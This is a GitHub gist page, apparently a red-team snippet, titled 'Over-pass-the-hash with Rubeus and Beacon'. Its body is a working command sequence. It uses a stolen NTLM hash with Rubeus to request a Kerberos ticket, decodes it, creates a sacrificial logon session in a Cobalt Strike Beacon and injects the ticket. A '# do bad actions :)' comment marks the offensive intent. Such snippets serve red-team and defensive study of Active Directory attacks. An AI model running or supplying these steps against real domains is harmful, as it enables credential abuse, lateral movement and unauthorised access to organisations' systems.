Skip to content

Instantly share code, notes, and snippets.

@rvrsh3ll

rvrsh3ll/gist:f0c8537d3672daf7e3803a6b49db2b78

Forked from HarmJ0y/gist:dc379107cfb4aa7ef5c3ecbac0133a02
Created November 7, 2018 15:14
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rvrsh3ll/f0c8537d3672daf7e3803a6b49db2b78 to your computer and use it in GitHub Desktop.
Save rvrsh3ll/f0c8537d3672daf7e3803a6b49db2b78 to your computer and use it in GitHub Desktop.
Download ZIP
Over-pass-the-hash with Rubeus and Beacon
Raw
gistfile1.txt
# grab a TGT b64 blob with a valid NTLM
beacon> execute-assembly /home/specter/Rubeus_4.5.exe asktgt /user:USER /rc4:NTLM_HASH
# decode the base64 blob to a binary .kirbi
$ base64 -d ticket.b64 > ticket.kirbi
# sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT)
beacon> make_token DOMAIN\USER PassWordDoesntMatter
# inject the .kirbi
beacon> kerberos_ticket_use /home/user/ticket.kirbi
# do bad actions :)
# revert
beacon> rev2self
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment